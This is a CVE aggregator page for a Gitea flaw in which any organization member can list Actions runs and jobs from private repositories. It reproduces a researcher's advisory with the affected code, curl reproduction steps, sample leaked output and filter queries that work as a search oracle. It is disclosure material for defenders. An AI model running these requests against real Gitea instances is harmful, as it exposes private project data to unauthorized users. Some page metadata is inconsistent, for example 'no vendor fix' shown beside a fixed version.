CVE-2026-57897

MEDIUMPre-NVD 6.56.5
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 6.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
6.5
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: CVSS: 6.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs

Author: Prakhar Porwal Date: 2026-05-24 Target: Gitea (self-hosted Git service) Branch tested: main @ b7e95cc48c (development build, go1.26.3) Component: routers/api/v1/org/action.go (org-level Actions API) OWASP: API3:2023 Broken Object Property Level Authorization


1. Summary

The org-level Actions REST endpoints

GET /api/v1/orgs/{org}/actions/runs
GET /api/v1/orgs/{org}/actions/jobs

are gated only by reqOrgMembership() + reqToken(). They then call shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) / shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil), which selects every action_run / action_run_job row whose repository belongs to the org — with no per-repository ACL check.

Result: any user who is a member of an organization can enumerate workflow runs and jobs from every repository in that org, including:

* private repositories the caller has no team membership for, * repositories where the caller has been explicitly denied the repo.actions unit, * repositories created by other teams the caller is not part of.

Direct per-repo equivalents (GET /api/v1/repos/{owner}/{repo}/actions/runs, …/jobs/{job_id}/logs, …/runs/{run_id}/jobs) correctly return 404 for the same caller — proving the org-level surface is the only path that leaks.


2. Affected Code

2.1 Route registration

routers/api/v1/api.go:1647-1652

addActionsRoutes(
    m,
    reqOrgMembership(),   // reqReaderCheck
    reqOrgOwnership(),    // reqOwnerCheck
    org.NewAction(),
)

2.2 Helper that registers run/job listing

routers/api/v1/api.go:908-941

m.Group("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/runs", reqToken(), reqReaderCheck, act.ListWorkflowRuns)
m.Get("/jobs", reqToken(), reqReaderCheck, act.ListWorkflowJobs)

reqReaderCheck for org-scope = reqOrgMembership() — bare org membership is enough; no per-repo permission is consulted.

2.3 Handler

routers/api/v1/org/action.go:595-683

func (Action) ListWorkflowJobs(ctx *context.APIContext) {
    shared.ListJobs(ctx, ctx.Org.Organization.ID, 0, 0, nil)
}

func (Action) ListWorkflowRuns(ctx *context.APIContext) { shared.ListRuns(ctx, ctx.Org.Organization.ID, 0) }

2.4 Query construction (no ACL)

routers/api/v1/shared/action.go:138-215

opts := actions_model.FindRunOptions{
    OwnerID:     ownerID,   // ← org ID, NOT user ID
    RepoID:      repoID,    // = 0 at org level
    ListOptions: listOptions,
}
…
runs, total, err := db.FindAndCountactions_model.ActionRun

models/actions/run_list.go:102-110

func (opts FindRunOptions) ToJoins() []db.JoinFunc {
    if opts.OwnerID > 0 {
        return []db.JoinFunc{func(sess db.Engine) error {
            sess.Join("INNER", "repository",
                "repository.id = repo_id AND repository.owner_id = ?", opts.OwnerID)
            return nil
        }}
    }
    return nil
}

The join only constrains repository.owner_id = orgID. There is no access/team_repo/collaboration join and no access_model.GetDoerRepoPermission(...) filter — every row in the org is returned.

The same bug applies to shared.ListJobs, which calls db.FindAndCountactions_model.ActionRunJob using an analogous repository join.


3. Steps to Reproduce

3.1 Setup

* Org 1st-org with one private repo 1st-org-repo. * Team Owners contains user admin (org owner). * Team 1st-team has zero repositories assigned (units permission none for actions, no included repos). * User admin2 is a regular user (is_admin = false), member of 1st-team only — so org member, but **no team grants any access to 1st-org-repo**.

Verified that admin2 lacks direct access:

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \
    http://localhost:3001/api/v1/repos/1st-org/1st-org-repo
{"errors":null,"message":"not found","url":"…"}[404]

$ curl -u admin2:admin@123 -w '[%{http_code}]\n' \ http://localhost:3001/api/v1/orgs/1st-org/repos [] [200]

A workflow file was committed to 1st-org-repo/.gitea/workflows/ci.yml to produce an action_run:

name: ci
on: push
jobs:
  hello:
    runs-on: ubuntu-latest
    steps:
  • run: echo "SECRET_INFO_FROM_PRIVATE_REPO"

3.2 Trigger

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/runs

Output (truncated)

{"workflow_runs":[{
  "id":7,
  "url":"http://localhost:3001/api/v1/repos/1st-org/1st-org-repo/actions/runs/7",
  "html_url":"http://localhost:3001/1st-org/1st-org-repo/actions/runs/7",
  "display_title":"add workflow",
  "path":"ci.yml@refs/heads/main",
  "event":"push",
  "run_attempt":1,
  "run_number":1,
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  "actor":{"id":1,"login":"admin", … "email":"[email protected]", …},
  "trigger_actor":{ … "login":"admin" … },
  "repository":{
     "id":4,"name":"1st-org-repo","full_name":"1st-org/1st-org-repo",
     "description":"test123",
     "private":true,
     "clone_url":"http://localhost:3001/1st-org/1st-org-repo.git",
     "ssh_url":"prakhar@localhost:1st-org/1st-org-repo.git",
     …
  }
}],"total_count":1}
[200]

Same primitive for jobs:

$ curl -u admin2:admin@123 -w '\n[%{http_code}]\n' \
    http://localhost:3001/api/v1/orgs/1st-org/actions/jobs
{"jobs":[{
  "id":7,
  "run_id":7,
  "name":"hello",
  "labels":["ubuntu-latest"],
  "head_sha":"b7de30c225eaf5c6e5be1fa1a0dafe5045f90d73",
  "head_branch":"main",
  "status":"queued",
  …
}],"total_count":1}
[200]

3.3 search primitives

All query parameters supported by ListRuns/ListJobs work too — turning the endpoint into a search oracle over private workflow metadata:

# Find runs on a specific branch in private repos:
curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?branch=main"

Confirm a given commit SHA exists in any private repo of the org:

curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?head_sha=b7de30c2…"

Filter by actor:

curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?actor=admin"

Filter by event/status:

curl -u admin2:… "http://localhost:3001/api/v1/orgs/1st-org/actions/runs?event=push&status=failure"

All return matching rows from private repos in the org.


4. Impact

A low-privileged authenticated org member (no team, no repo permission, no admin) gains, for every private repository in the org:

| Field leaked | Why it matters | |-------------------------------|------------------------------------------------------| | repository.full_name, description, private, clone URLs | Existence + topology of private repos | | head_sha, head_branch | Confirms commits / branch names exist in private repos | | path (workflow file) | Reveals workflow YAML filenames | | event, display_title | Commit messages / event types | | actor, trigger_actor | Internal contributor identities incl. noreply emails | | created_at, started_at | Activity timing / CI cadence | | Pagination + ?head_sha=/?branch=/?actor= filters | Full search oracle over private workflow history |

Real-world consequences:

  • Org reconnaissance — confirms existence of private projects, names,
activity patterns; commit messages and branch names often reveal product plans, security fix windows, or release schedules.
  • Insider-threat amplification — any contractor / interviewee / OSS
contributor invited to a low-permission team can mine the rest of the org's CI history.
  • Cross-team violation — when an org isolates internal projects via
teams (e.g. security/ vs infra/ teams), this surface flatly bypasses that boundary.
  • Pivot data — commit SHAs disclosed here unlock subsequent endpoints
that *do* check ACLs but accept SHA inputs (e.g. some package / archive download paths in third-party tooling that just trusts a SHA).

The same primitive is exposed regardless of token scope, as long as the token has organization scope, the user is an org member, and the org has any private repos with action runs.


CVSS v3
6.5
EG Score
6.5(low)
EG Risk
34(Track)
EG Risk 34/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity65% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS
KEV
Not listed

Published

July 21, 2026

Last Modified

July 21, 2026

Vendor Advisories for CVE-2026-57897(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(2 across 1 ecosystem)
Go(2)
PackageVulnerable rangeFixed inDependents
code.gitea.io/gitea1.27.0
gitea.dev1.27.0

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-23 03:20 UTCEG score recompute
  2. 2026-07-21 22:19 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-57897?
CVE-2026-57897 is a medium vulnerability published on July 21, 2026. Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs Author: Prakhar Porwal Date: 2026-05-24 Target: Gitea (self-hosted Git service) Branch tested: main @ b7e95cc48c (development build, go1.26.3) Component: routers/api/v1/org/action.go (org-level Actions API) OWASP: API3:2023…
When was CVE-2026-57897 disclosed?
CVE-2026-57897 was first published in the National Vulnerability Database on July 21, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-57897?
CVE-2026-57897 has a CVSS v4.0 base score of 6.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-57897?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-57897, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-57897

Explore →

Is Your Infrastructure Affected by CVE-2026-57897?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.